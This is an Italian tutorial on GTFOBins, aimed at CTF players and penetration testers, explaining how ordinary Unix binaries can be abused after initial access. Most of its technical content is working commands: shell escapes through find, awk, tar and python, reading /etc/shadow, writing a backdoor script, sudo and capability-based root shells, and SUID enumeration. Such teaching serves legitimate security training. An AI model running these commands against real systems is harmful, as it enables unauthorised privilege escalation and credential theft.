Tutorials

GTFOBins - Guida Completa

GTFOBins è un progetto collaborativo che raccoglie informazioni su binarî Unix legittimi che possono essere sfruttati da un attaccante per ottenere privilege escalation, esecuzione di comandi, accesso

#exploitation#post-exploitation#linux#privesc

GTFOBins - Guida Completa

Introduzione

GTFOBins è un progetto collaborativo che raccoglie informazioni su binarî Unix legittimi che possono essere sfruttati da un attaccante per ottenere privilege escalation, esecuzione di comandi, accesso a file, persistenza o esfiltrazione di dati, in contesti in cui la sicurezza del sistema è stata compromessa.

Il nome deriva da "GTFO" (acronimo colloquiale per "Get The F Out") e "Bins" (da binaries). È uno strumento fondamentale nella fase di post-exploitation, particolarmente utile durante la CTF, pentest interni o red team engagement.


Obiettivo

Sfruttare binari di sistema disponibili nella macchina target per:

  • Escalation dei privilegi
  • Esecuzione di comandi arbitrari
  • Accesso alla shell
  • Scrittura/lettura di file
  • Accesso remoto (reverse shell o bind shell)

Requisiti

  • Accesso a un sistema Unix-like (Linux, MacOS, etc.)
  • Shell utente (non root)
  • Conoscenza base di terminale

Come utilizzare GTFOBins

1. Verifica dei binari presenti

Identifica i binari presenti nel sistema target:

bash
which perl python awk find vi less nmap tar bash

oppure:

bash
compgen -c | sort | uniq

2. Visita il sito ufficiale

https://gtfobins.github.io

Cerca il nome del binario trovato e verifica le funzionalità disponibili (es. shell, file write, sudo, etc.).

3. Applica la tecnica suggerita

Esempio con find per ottenere una shell interattiva:

bash
find . -exec /bin/sh \; -quit

Esempio con awk:

bash
awk 'BEGIN {system("/bin/sh")}'

Categorie principali

1. Shell

Permette l'esecuzione di una shell interattiva.

Esempi:

bash
tar -cf /dev/null file --checkpoint=1 --checkpoint-action=exec=/bin/sh
python3 -c 'import pty; pty.spawn("/bin/bash")'

2. File Read

Consente la lettura arbitraria di file.

Esempio con awk:

bash
awk 'BEGIN {while((getline<"/etc/shadow")>0) print}'

3. File Write

Permette di scrivere file ovunque si abbiano permessi.

Esempio con tee:

bash
echo "malicious script" | tee /tmp/backdoor.sh

4. Sudo

Verifica di binari che possono essere eseguiti come root tramite sudo (usando sudo -l).

Esempio:

bash
sudo tar -cf /dev/null file --checkpoint=1 --checkpoint-action=exec=/bin/sh

5. Capabilities

Binari con Linux capabilities speciali assegnate, anche senza sudo o SUID.

Verifica:

bash
getcap -r / 2>/dev/null

Se trovi:

bash
/usr/bin/python3 = cap_setuid+ep

Allora puoi eseguire:

bash
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

6. SUID

Binari con bit SUID impostato.

bash
find / -perm -4000 -type f 2>/dev/null

Verifica se il binario è su GTFOBins e applica la tecnica suggerita.


Best Practice

  • Automazione: usa script come linpeas.sh per automatizzare la ricerca di SUID, capabilities e binari interessanti.
  • Scripting: conserva un piccolo script che controlla i binari disponibili e verifica in automatico se sono presenti in GTFOBins.
  • Contesto: verifica sempre se i comandi funzionano nel contesto specifico (restrizioni di AppArmor, SELinux, ambienti containerizzati, etc.).

Tool correlati

  • LOLBas: progetto simile per Windows (Living Off the Land Binaries and Scripts)
  • LinPEAS / LinEnum: eseguono una ricognizione automatica e includono check relativi a GTFOBins
  • linprivchecker: check base ma utile per SUID e cron

Conclusione

GTFOBins* è uno strumento potente per ogni red teamer o pentester. Con una conoscenza approfondita di questo strumento è possibile sfruttare le stesse funzionalità offerte dal sistema per compromettere la macchina target, senza bisogno di caricare tool esterni o exploit rumorosi.

Ricorda sempre di verificare:

  • Quali binari sono presenti
  • Quali permessi hai (normale, sudo, SUID, capabilities)
  • Come puoi sfruttarli nel tuo contesto

Un approccio silenzioso, efficiente e nativamente supportato dal sistema operativo stesso.